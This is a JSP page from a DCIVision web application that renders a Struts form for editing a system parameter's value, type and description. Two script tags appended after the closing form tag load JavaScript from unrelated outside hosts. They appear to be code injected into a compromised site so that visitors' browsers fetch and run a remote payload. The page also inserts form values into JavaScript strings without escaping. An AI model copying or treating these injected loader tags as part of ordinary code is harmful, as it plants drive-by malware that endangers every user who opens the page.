<%
/*
 * @(#)EditSysParameter.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditSysParameter.jsp

  This class is reflecting business logic uses.

    @author           Tony Lee
    @company          DCIVision Limited
    @creation date    01/06/2004
    @version          $Revision: 1.7.4.7 $
*/
 /* ********************************Modify History***********************************************
 * Modify by  : joan.xiong
 * Modify date: 2006/09/08
 * BugID      : 3623
 * Description: The value of "calendar.default_timepicker_interval" can't set 0.
 * *********************************************************************************************
 */
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.setup.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintSysParameterForm" scope="request" class="com.dcivision.framework.web.MaintSysParameterForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String[][] BOOLEAN_SELECT = { {"setup.label.true", "true"},
                  {"setup.label.false", "false"}
                  };
  /****************************************************************************
   * List Attributes Configuration End                                        *
   ****************************************************************************/
String SysDefParameter = maintSysParameterForm.getParameterDefaultValue();
%>

<html:form action="setup/MaintSysParameter"  styleClass="form-style-2">
<html:javascript formName="maintSysParameterForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String returnURL = "ListSysParameter.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<script language="javaScript">
<!--
function useDefSysParater(){
  if (document.maintSysParameterForm.useSysParameter.checked == true){
    maintSysParameterForm.parameterValue.value = '<%=maintSysParameterForm.getParameterDefaultValue()%>';
  }
  else {
    maintSysParameterForm.parameterValue.value = '<%=maintSysParameterForm.getParameterValue()%>';
  }
}

function timePickerOpSave() {

  if(maintSysParameterForm.parameterValue.value<1){
     alert('<bean:message key="error.setup.parameter"/>');
     maintSysParameterForm.parameterValue.focus();
  }

  return OpSave();
}

-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='parameterDefaultValue'/>

<layout:tabContainer id="tab1">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar styleClass="tabBar_no_button">
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
  </layout:tabBar>

 <!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="setup.label.setup_info"/>
  <tr>
    <td class="formLabelSmall"><bean:message key='setup.label.parameter_code'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='parameterCode' size='20' maxlength='100' textOnly='true'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='setup.label.parameter_value'/>:&nbsp;</td>
    <td class="formFieldSmall">
  <%   if (maintSysParameterForm.getParameterType() != null) {
       if (maintSysParameterForm.getParameterType().equals("S")) {
         %><html:text property='parameterValue' size='40' maxlength='200'/><%
       } else if (maintSysParameterForm.getParameterType().equals("B")) {
         %><html:select property='parameterValue'>
            <html:options stringArray='<%=BOOLEAN_SELECT%>' hasSelect='false'/>
           </html:select><%
       } else if (maintSysParameterForm.getParameterType().equals("I")) {
        %><html:integer property='parameterValue' size='40' maxlength='200'/><%
       } else if (maintSysParameterForm.getParameterType().equals("D")) {
         %><html:integer property='parameterValue' size='40' maxlength='200'/><%
       }
     }
  %>&nbsp;&nbsp;&nbsp;&nbsp;
  <%
  if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){
    if (!maintSysParameterForm.getParameterValue().equals(SysDefParameter)){%>
       <input type="checkbox" name="useSysParameter" onclick="useDefSysParater()">&nbsp;<bean:message key="setup.label.use_default_value"/>
  <%}}%>
    </td>
  </tr>
  <tr>
  <td class="formLabelSmall"><bean:message key='setup.label.parameter_type'/>:&nbsp;</td>
  <td class="formFieldSmall"><input type='hidden' name='parameterType' value='<%=maintSysParameterForm.getParameterType()%>'>
  <% if (maintSysParameterForm.getParameterType() != null) {
       if (maintSysParameterForm.getParameterType().equals("B")) {
         %>Boolean<%
       } else if (maintSysParameterForm.getParameterType().equals("S")) {
         %>String<%
       } else if (maintSysParameterForm.getParameterType().equals("I")) {
         %>Integer<%
       } else if (maintSysParameterForm.getParameterType().equals("D")) {
         %>Decimal<%
       }
     }
   %>
   </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='setup.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='description' size='20' maxlength='255' textOnly='true'/></td>
  </tr>

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer> 

  
<div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%if(maintSysParameterForm.getParameterType().equals("I") && "calendar.default_timepicker_interval".equals(maintSysParameterForm.getParameterCode())){%>
      <html:standardButton label="common.label.save" onClick="return timePickerOpSave();"/>
      <% } else { %>
      <html:standardButton label="common.label.save" onClick="return OpSave();"/>
      <% } %>


    <% } else if (!GlobalConstant.OP_MODE_DELETE.equals(maintSysParameterForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintSysParameter.do?navMode=E&ID=${maintSysParameterForm.ID}"/>
    <% } %>
</div>
</div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>